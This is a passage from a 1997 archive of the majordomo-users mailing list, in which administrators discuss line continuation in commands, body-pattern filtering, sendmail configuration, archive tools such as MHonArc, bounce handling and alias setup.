Date: Fri, 13 Jun 1997 16:50:56 -0400 From: jeffw@smoe.org (Jeff Wasilko) To: Andrew.Witt@slma.com (Andrew Witt) Cc: majordomo-users@GreatCircle.COM (IPM Return requested) Subject: Re: long command lines References: <"0014933A17027697*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> X-Mailer: Mutt 0.59.1 Mime-Version: 1.0 In-Reply-To: <"0014933A17027697*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS>; from "Andrew Witt" on Jun 13, 1997 12:07:03 -0400 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Andrew Witt writes: > addresses result in a command line that wraps to two lines; e.g. > > axprove password sub$cribe this-list-name-is-long > long-user-name@lengthy.client.com > > > What I am hoping is that there is a 'line-continuation' character or character > sequence (you know, like in C and Perl) that tells Majordomo to treat the next > line as if it were a part of the current line. The line continuation character is \ From owner-majordomo-users-outgoing Fri Jun 13 14:56:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26010 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:51:02 -0700 (PDT) Received: from sparkie.osl.state.or.us (sparkie.osl.state.or.us [192.84.215.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA25905 for ; Fri, 13 Jun 1997 13:50:36 -0700 (PDT) Received: (from chris@localhost) by sparkie.osl.state.or.us (8.6.9/8.6.9) id NAA18441; Fri, 13 Jun 1997 13:50:50 -0700 Date: Fri, 13 Jun 1997 13:50:49 -0700 (PDT) From: Christopher Adams To: Fuzzy cc: Majordomo-users List Subject: Re: getting MD 1.94.3 to understand mungdomain for resend In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk If you missed the message about the patch, you can get the patch at: ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 Christopher Adams On Fri, 13 Jun 1997, Fuzzy wrote: > Date: Fri, 13 Jun 1997 15:19:43 -0400 (EDT) > From: Fuzzy > To: Majordomo-users List > Subject: getting MD 1.94.3 to understand mungdomain for resend > > > > we're running 1.94.3 with perl 5.003, linux 1.2.13 Slack 3.0. > > we'd seen references to a patch to let resend do mungdomain > correctly. that is, if the subscribed address is id@host.domain.name > and the submitter is id@domain.name the posting would pass > restrict_post. can anyone tell me where I can get either a patched > 1.94.3 resend or the patch file to patch the source? > > Fuzzy > Sys Amdin, ASARian.org > > From owner-majordomo-users-outgoing Fri Jun 13 15:03:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA00168 for majordomo-users-outgoing; Fri, 13 Jun 1997 14:10:38 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA00120 for ; Fri, 13 Jun 1997 14:10:27 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id RAA02200; Fri, 13 Jun 1997 17:11:13 -0400 Date: Fri, 13 Jun 1997 17:11:13 -0400 (EDT) From: "Kendall P. Bullen" To: Andrew Witt cc: majordomo-users@GreatCircle.COM Subject: Re: long command lines In-Reply-To: <"0014933A17027697*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 On 13 Jun 1997, Andrew Witt wrote: > approve password subscribe this-list-name-is-long > long-user-name@lengthy.client.com ... > What I am hoping is that there is a 'line-continuation' character or character > sequence (you know, like in C and Perl) that tells Majordomo to treat the next > line as if it were a part of the current line. I know this has been discussed in majordomo-users before. Check out the searchable archive at http://www.hpc.uh.edu/majordomo-users/ -- and meanwhile, the continuation character is a backslash (\). So you would do this: approve password subscribe this-list-name-is-long \ long-user-name@lengthy.client.com BTW, the changelog and the Majordomo man page both have information on handling long lines. (The word 'continuation' only appears in the changelog, tho'; a grep for 'split' in the man page finds the reference, however.) Cheers, Kendall From owner-majordomo-users-outgoing Fri Jun 13 15:05:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA22544 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:30:21 -0700 (PDT) Received: from krumm.commline.com (krumm.commline.com [207.78.30.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA22521 for ; Fri, 13 Jun 1997 13:30:14 -0700 (PDT) Received: from localhost (dmbong@localhost) by krumm.commline.com (8.8.5/8.8.3) with SMTP id QAA11687; Fri, 13 Jun 1997 16:34:18 -0400 (EDT) X-Authentication-Warning: krumm.commline.com: dmbong owned process doing -bs Date: Fri, 13 Jun 1997 16:34:17 -0400 (EDT) From: "Brian L. Heess" Reply-To: "Brian L. Heess" To: Ricky and Brenda Marek cc: Majordomo-Users@GreatCircle.COM Subject: Re: [Q] filtering messages.. In-Reply-To: <2.2.32.19970613171923.0069bf50@pop.ornet.co.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Ricky and Brenda Marek wrote: > Is there a way to filter messages according to a pattern that appears in the > body of the message? Yes, near the bottom of majordomo.cf, at least in 1.94.3: # Taboo body contents to catch and forward to the approval address # # For example: # $global_taboo_body = <<'END'; # /taboo topic/i # /another taboo/i # END # NOTE! Using ' instead of " in the next line is VERY IMPORTANT!!! # $global_taboo_body = <<'END'; /begin 600 WINMAIL.DAT/ /Content-Type: application/ /Content-Transfer-Encoding: base64/ END Cheers! -Brian -- dmbong@krumm.commline.com Brian L. Heess, brian@thru.net | Office: 201.288.1136 VP Technology | Fax: 201.288.0213 Vanguard InterActive, Inc. | Home: 201-387-2574 / 201-287-0739 My personal URLs: brian@commline.com - http://www.commline.com (DM/BONG) Co-founder: EarthLink Net, brian@earthlink.net - http://www.earthlink.net From owner-majordomo-users-outgoing Fri Jun 13 15:11:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26631 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:55:02 -0700 (PDT) Received: from ns.intelenet.net (intelenet.net [204.182.160.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA26545 for ; Fri, 13 Jun 1997 13:54:43 -0700 (PDT) Received: from cueball (cueball.intelenet.net [207.38.65.9]) by ns.intelenet.net (8.8.5/8.8.5) with SMTP id NAA11718; Fri, 13 Jun 1997 13:56:07 -0700 (PDT) Message-ID: <33A1B3E5.1E7F@intelenet.net> Date: Fri, 13 Jun 1997 13:56:05 -0700 From: Bob Myers Organization: InteleNet Communications, Inc. X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4c) MIME-Version: 1.0 To: Andrew Routhier CC: majordomo-users@GreatCircle.COM Subject: Re: Mailer problems with approve requests References: <9706122319.ZM2474@opssrv.tfs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Andrew Routhier wrote: > > I am using majordomo-1.93 for a moderated list. I am moving the list to a > solaris2.5 machine running sendmail8.6. The previous installation was on a > SunOS4.1.3 machine running smail3.1.28. > The compilation went without incident. Yet I am seeing different behavior in > the mail sent to moderator for approval. > We are using zmail3.2 as the mailtool and have added an "approve" widget. In > the past (SunOS.4.1.3 smail), the Approve request and the actual mail were > recieved as one piece with the BOUNCE Approve request as the subject > line. When I recieve the BOUNCE request for Approval, using sendmail as the > mailer, it comes in two pieces. One is the BOUNCE (subject line)and the other > is the actual piece (with the actual subject line: in the test case below > "postmaster test"). Probably a sendmail config problem. Try adding the E flag to the local delivery agent. On the Mlocal line, make sure there is an "E" in the F=... section. From owner-majordomo-users-outgoing Fri Jun 13 15:11:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA10546 for majordomo-users-outgoing; Fri, 13 Jun 1997 15:04:40 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA10487 for ; Fri, 13 Jun 1997 15:04:22 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id RAA10365; Fri, 13 Jun 1997 17:06:19 -0500 Date: Fri, 13 Jun 1997 17:06:18 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Andrew Witt cc: IPM Return requested Subject: Re: long command lines In-Reply-To: <"0014933A17027697*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 13 Jun 1997, Andrew Witt wrote: > > What I am hoping is that there is a 'line-continuation' character or character > sequence (you know, like in C and Perl) that tells Majordomo to treat the next > line as if it were a part of the current line. By the way there is. Continue your command string with "/" and continue on next line. It is docummented on several places, I remember to have read it at least on messages sent by MD when confirm is active. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 13 15:13:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA23613 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:36:07 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA23593 for ; Fri, 13 Jun 1997 13:35:56 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA09164; Fri, 13 Jun 1997 15:37:37 -0500 (CDT) To: majordomo-users@GreatCircle.COM Subject: Re: Majordomo results: list abuse References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 15:37:36 -0500 In-Reply-To: Scott Sutherland's message of Fri, 13 Jun 1997 14:10:31 -0500 (CDT) Message-ID: Lines: 21 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "SS" == Scott Sutherland writes: SS> You could use Jason's TLB program... then you wouldn't have outgoing SS> aliases =) For those that don't know what that entails, TLB is a program that Majordomo calls instead of sendmail to do its mail delivery. TLB then processes the address file, breaks it up into chunks, and directly connects to the SMTP ports of some number of machines. The result is that there simply isn't an outgoing alias at all. Other results include the ability to make your list files mode 600 and the reason I wrote it in the first place, parallel delivery over multiple machines. You still need to run sendmail or another MTA on the hosts to actually deliver the mail. The big downside is that it is a pain to set up; if you don't do Perl or don't understand the basics of mail transport then you shouldn't try to use it. If you want maximum delivery flexibility, its at ftp.hpc.uh.edu:/pub/majorodmo. Beware that perl5.004 also has some new complaints about it that I haven't gotten around to fixing. - J< From owner-majordomo-users-outgoing Fri Jun 13 15:17:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA28629 for majordomo-users-outgoing; Fri, 13 Jun 1997 14:04:07 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA28589 for ; Fri, 13 Jun 1997 14:03:57 -0700 (PDT) Received: from boss.databook.usa1.com (boss.databook.usa1.com [205.247.32.10]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id OAA28485 for ; Fri, 13 Jun 1997 14:07:25 -0700 (PDT) Received: from blarney.databook.com (blarney.databook.com [205.247.32.103]) by boss.databook.usa1.com (8.6.9/8.6.9) with ESMTP id RAA08045 for ; Fri, 13 Jun 1997 17:23:52 -0400 Received: from localhost by blarney.databook.com (SMI-8.6/SMI-SVR4) id RAA07603; Fri, 13 Jun 1997 17:03:23 -0400 Message-Id: <199706132103.RAA07603@blarney.databook.com> X-Mailer: exmh version 2.0delta 6/3/97 To: majordomo-users@greatcircle.com (MajorDomo Users) Subject: Re: bounces to sender In-reply-to: Your message of "13 Jun 1997 15:51:20 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 13 Jun 1997 17:03:23 -0400 From: Jim Reisert Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk The other problem is that, in general, the list members are more clueless than the list owner. Thus it is advisable that the bounces only be sent to a "trained eye". There *are* busted mailers out there that return bounces to the From: header instead of the RFC-correct header. Invariably, the person receiving such a post thinks his message was rejected, and sends it again. It's rare that they have the foresight to ask the designated list owner, "why did this bounce?" and even more rare, "This person's mail is bouncing - take him/her off the list." - Jim -- Jim Reisert SMC Massachusetts, Danvers, MA http://www.tiac.net/users/ad1c/ http://www.smc.com/ From owner-majordomo-users-outgoing Fri Jun 13 15:17:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA09245 for majordomo-users-outgoing; Fri, 13 Jun 1997 14:57:26 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA09132 for ; Fri, 13 Jun 1997 14:57:02 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id OAA11651; Fri, 13 Jun 1997 14:53:42 -0700 From: Kynn Bartlett Message-Id: <199706132153.OAA11651@ayla.idyllmtn.com> Subject: Re: hmonarc... To: chuqui@plaidworks.com (Chuq Von Rospach) Date: Fri, 13 Jun 1997 14:53:42 -0700 (PDT) Cc: Majordomo-Users@GreatCircle.COM In-Reply-To: from "Chuq Von Rospach" at Jun 13, 97 02:29:01 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Chuq asked: > Someone in the last few days mentioned hmonarc as a better replacement > for hypermail. I can't find it. Can some person drop me a URL where to > locate this? Mhonarc -- which is probably why you couldn't locate it. :) I use it at my archives at http://archives.mlists.com/archives/ and it works nice, although I could probably customize it a lot more and get more out of it. URL seems to be: http://www.oac.uci.edu/indiv/ehood/mhonarc.doc.html Although right now my net is refusing to go to there to confirm, but that sounds about right, from memory. > Also, recommendations on nice tools to create searchable archives of > majordomo archives? Anyone have suggestions? I could use some of that, too; I'm not thrilled with the glimpsehttp setup I have now. --Kynn From owner-majordomo-users-outgoing Fri Jun 13 15:28:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA12322 for majordomo-users-outgoing; Fri, 13 Jun 1997 15:12:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA12279 for ; Fri, 13 Jun 1997 15:12:36 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA10997; Fri, 13 Jun 1997 17:10:53 -0500 (CDT) To: Chuq Von Rospach Cc: Majordomo-Users@GreatCircle.COM Subject: Re: hmonarc... References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 17:10:53 -0500 In-Reply-To: Chuq Von Rospach's message of Fri, 13 Jun 1997 14:29:01 -0700 Message-ID: Lines: 20 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "CVR" == Chuq Von Rospach writes: CVR> Someone in the last few days mentioned hmonarc as a better replacement CVR> for hypermail. I can't find it. Can some person drop me a URL where to CVR> locate this? Try . CVR> Also, recommendations on nice tools to create searchable archives of CVR> majordomo archives? Anyone have suggestions? There's the hack that generates the archives for this list (see ) in . It's badly written and completely undocumented, but I did send some instructions here recently. See . One day I'll clean it up. If I live that long... - J< From owner-majordomo-users-outgoing Fri Jun 13 15:59:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA18018 for majordomo-users-outgoing; Fri, 13 Jun 1997 15:49:53 -0700 (PDT) Received: from kappa.pair.com (kappa.pair.com [209.68.1.21]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA17983 for ; Fri, 13 Jun 1997 15:49:43 -0700 (PDT) Received: from les3.ix.netcom.com (sfe-nm3-18.ix.netcom.com [205.184.198.114]) by kappa.pair.com (8.8.5/8.6.12) with SMTP id SAA07324 for ; Fri, 13 Jun 1997 18:51:03 -0400 (EDT) Message-Id: <199706132251.SAA07324@kappa.pair.com> X-Envelope-To: Comments: Authenticated sender is From: "k" Organization: s w c e webworks To: majordomo-users@GreatCircle.COM Date: Fri, 13 Jun 1997 16:48:25 -5000 Subject: aliases X-mailer: Pegasus Mail for Windows (v2.22) Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi there, Being brandspankin new to mailing lists - I could use some help with setting up proper aliases so that I can use resend. At least I have the list functioning :) Here's what's in my aliases right now: # dlctest list list: "|/usr/local/majordomo/wrapper resend -l list list-outgoing" list-outgoing: :include:/usr/local/majordomo/Lists/dlctest dlctest: :include:/usr/local/majordomo/Lists/dlctest owner-dlctest: webmaster@domain.com dlctest-request: "|/usr/local/majordomo/wrapper request-answer dlctest" dlctest-approval: webmaster@domain.com But, I still can't get the reply-to right, or have footers appended to messages, or anything else that the config file does. Could someoe point me in the right direction to look for info on this? I've been thru the FAQs, thru the archives, but haven't found anything that makes any sense. thanks :) k From owner-majordomo-users-outgoing Fri Jun 13 16:11:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA23178 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:33:58 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA22975 for ; Fri, 13 Jun 1997 13:33:21 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id PAA09791; Fri, 13 Jun 1997 15:34:56 -0500 Date: Fri, 13 Jun 1997 15:34:56 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Ricky and Brenda Marek cc: Majordomo-Users@GreatCircle.COM Subject: Re: [Q] filtering messages.. In-Reply-To: <2.2.32.19970613171923.0069bf50@pop.ornet.co.il> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Ricky and Brenda Marek wrote: > Hello, > > Is there a way to filter messages according to a pattern that appears in the > body of the message? Sure there is. Use taboo_body patterns. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 13 16:11:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA24195 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:40:10 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA24107 for ; Fri, 13 Jun 1997 13:39:45 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA09300; Fri, 13 Jun 1997 15:41:21 -0500 (CDT) To: Ricky and Brenda Marek Cc: Majordomo-Users@GreatCircle.COM Subject: Re: [Q] Statistics... are possible? References: <2.2.32.19970613171926.006a0650@pop.ornet.co.il> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 15:41:21 -0500 In-Reply-To: Ricky and Brenda Marek's message of Fri, 13 Jun 1997 20:19:26 +0300 Message-ID: Lines: 12 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RaBM" == Ricky and Brenda Marek writes: RaBM> Is it possible to get some statistics on the traffic of messages in RaBM> the different lists? Messages per user ( per month or/and just RaBM> totals) Messages per list (per month or/and just totals) Members per RaBM> list (Active, Pasive, Obsolete) ftp.hpc.uh.edu:/pub/majordomo/logmail.shar contains a list statistics package. It doesn't do everything you want, though. Feel free to contribute additional code. - J< From owner-majordomo-users-outgoing Fri Jun 13 16:26:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA21069 for majordomo-users-outgoing; Fri, 13 Jun 1997 16:12:03 -0700 (PDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA20913 for ; Fri, 13 Jun 1997 16:11:31 -0700 (PDT) Received: from [17.219.12.99] (A17-219-12-99.apple.com [17.219.12.99]) by public.lists.apple.com (8.8.5/8.8.5) with ESMTP id QAA24434; Fri, 13 Jun 1997 16:12:22 -0700 Message-Id: In-Reply-To: <199706132153.OAA11651@ayla.idyllmtn.com> References: from "Chuq Von Rospach" at Jun 13, 97 02:29:01 pm Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 16:07:08 -0700 To: Kynn Bartlett , chuqui@plaidworks.com (Chuq Von Rospach) From: Chuq Von Rospach Subject: Re: hmonarc... Cc: Majordomo-Users@GreatCircle.COM Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 2:53 PM -0700 6/13/97, Kynn Bartlett wrote: >Mhonarc -- which is probably why you couldn't locate it. :) (blush) >URL seems to be: > >http://www.oac.uci.edu/indiv/ehood/mhonarc.doc.html correct, and you're also correct that the site seems to be malfunctioning. I got in, but only a little bit. It's acting weird. (and I'm happy ti's not just me...) >I could use some of that, too; I'm not thrilled with the glimpsehttp >setup I have now. Well, there are a couple of search engines on the mhonarc page, if you could get to it. and thanks for the warning on glimpse... -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-majordomo-users-outgoing Fri Jun 13 16:34:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA21115 for majordomo-users-outgoing; Fri, 13 Jun 1997 16:12:13 -0700 (PDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA20977 for ; Fri, 13 Jun 1997 16:11:44 -0700 (PDT) Received: from [17.219.12.99] (A17-219-12-99.apple.com [17.219.12.99]) by public.lists.apple.com (8.8.5/8.8.5) with ESMTP id QAA20844; Fri, 13 Jun 1997 16:12:20 -0700 Message-Id: In-Reply-To: <199706132103.RAA07603@blarney.databook.com> References: Your message of "13 Jun 1997 15:51:20 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 16:04:54 -0700 To: Jim Reisert , majordomo-users@GreatCircle.COM (MajorDomo Users) From: Chuq Von Rospach Subject: Re: bounces to sender Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 2:03 PM -0700 6/13/97, Jim Reisert wrote: >There *are* busted mailers out there that return bounces to the From: header >instead of the RFC-correct header. Invariably, the person receiving such a >post thinks his message was rejected, and sends it again. Actually, it's not invariable. ON my lists, when this happens, I get people wondering if my list is broken -- they don't see the difference in the errors. Sending errors to the original poster accomplishes nothing. They're not mailing ot any individual -- they're mailing to the *list*. So they should only be warned if the *list* fails in some way. It's the admin's job to deal with what is on the list... -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-majordomo-users-outgoing Fri Jun 13 16:41:45 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA24841 for majordomo-users-outgoing; Fri, 13 Jun 1997 16:37:57 -0700 (PDT) Received: from isc-br.isc-br.com (isc-br.isc-br.com [129.189.2.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id QAA24778 for ; Fri, 13 Jun 1997 16:37:43 -0700 (PDT) Received: from caladan.isc-br.com(really [129.189.10.80]) by isc-br.isc-br.com via sendmail with smtp id for ; Fri, 13 Jun 1997 16:39:09 -0700 (PDT) (Smail-3.2.0.93 1997-Apr-12 #8 built 1997-May-6) Date: Fri, 13 Jun 1997 16:39:43 -0700 () From: "Jeff A. Webb" To: majordomo-users@greatcircle.com Subject: list of lists Message-ID: X-X-Sender: jwebb@isc-br.isc-br.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Is it possible to have a list that refers to other lists? for instance... list-a (30 members) list-b (20 members) lict-c (50 members) master-list (list-a,list-b,list-c) This is for internal operations where lists a,b and c are depts with different list-owners, but master-list is the top of the list with only a few people able to post to it. I know I could cat the ind. lists in the beginning but the changes in personnel over time would not get picked up unless the master-list can refer the other lists. Now that I've rambled on, can anyone help? Jeff Webb Olivetti North America From owner-majordomo-users-outgoing Fri Jun 13 17:57:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02044 for majordomo-users-outgoing; Fri, 13 Jun 1997 17:16:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA02029 for ; Fri, 13 Jun 1997 17:16:37 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA14146; Fri, 13 Jun 1997 19:14:59 -0500 (CDT) To: Chuq Von Rospach Cc: Kynn Bartlett , Majordomo-Users@GreatCircle.COM Subject: Re: hmonarc... References: from "Chuq Von Rospach" at Jun 13, 97 02:29:01 pm Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 19:14:58 -0500 In-Reply-To: Chuq Von Rospach's message of Fri, 13 Jun 1997 16:07:08 -0700 Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "CVR" == Chuq Von Rospach writes: CVR> and thanks for the warning on glimpse... There's nothing wrong with Glimpse itself; I use it as the search engine for all of my archives and it's nice and fast. GlimpseHTTP is another matter; I never could figure out how to configure it, so I wrote my own. Of course, you'd probably find my stuff as opaque as GlimpseHTTP. - J< From owner-majordomo-users-outgoing Fri Jun 13 18:04:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA00697 for majordomo-users-outgoing; Fri, 13 Jun 1997 17:09:51 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA00661 for ; Fri, 13 Jun 1997 17:09:40 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id TAA11813; Fri, 13 Jun 1997 19:11:49 -0500 Date: Fri, 13 Jun 1997 19:11:49 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Andrew Witt cc: IPM Return requested Subject: Re: long command lines In-Reply-To: Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, J. Enrique Diaz Jolly wrote: > By the way there is. Continue your command string with "/" and continue on > next line. It is docummented on several places, I remember to have read it > at least on messages sent by MD when confirm is active. ERRATA Sorry, it should be "\" instead of "/" Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 13 18:41:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA14638 for majordomo-users-outgoing; Fri, 13 Jun 1997 18:14:52 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id SAA14602 for ; Fri, 13 Jun 1997 18:14:44 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id SAA13703; Fri, 13 Jun 1997 18:08:54 -0700 From: Kynn Bartlett Message-Id: <199706140108.SAA13703@ayla.idyllmtn.com> Subject: Re: hmonarc... To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Fri, 13 